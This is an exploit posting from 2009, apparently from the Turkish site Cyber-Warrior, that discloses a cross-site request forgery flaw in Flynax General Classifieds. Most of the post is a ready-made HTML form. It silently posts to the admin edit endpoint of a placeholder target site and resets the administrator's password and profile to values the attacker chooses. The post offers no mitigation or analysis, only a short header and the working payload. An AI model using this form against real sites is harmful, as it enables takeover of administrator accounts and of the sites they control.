Flynax classifieds ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Flynax classifieds ~ XSRF Vuln.

Madde
	Author : Bug Researchers/CWCaspeR
	Date : 05.11.2009 00:07:13
	# Flynax classifieds ~ XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : Flynax - General Classifieds # Vulnerable Type : XSRF # Infection : Administrator Profile Bilgileri Change Edilebilir. # author : CWCaspeR - Bug Researchers # Demo : http://demos.flynax.com/general/ ############################################################# < ------------------- header data end of ------------------- > <form action=http://HEDEFSITE.com/SCRIPT_YOLU/admin/index.php?controller=admins&action=edit&admin=1 method=post> <input type=hidden name=submit value=1 /> <input type=hidden name=fromPost value=1 /> <input readonly class=disabled lang_add name=login type=hidden style=width: 150px; value=admin maxlength=30 /> <input class=text lang_add name=password type=hidden style=width: 150px; maxlength=30 value=SIFRENIZ /> <input class=text lang_add name=password_repeat type=hidden style=width: 150px; maxlength=30 value=SIFRENIZ /> <input class=text lang_add name=name type=hidden style=width: 250px; maxlength=100 value=Administrator /> <input class=text lang_add name=email type=hidden style=width: 250px; maxlength=100 value=admin@flynax.com /> <input type=hidden name=status class=login_input_select lang_add value=active> <input class=button lang_add type=submit value=BUTONADI /> </form> < -- bug code end of -- >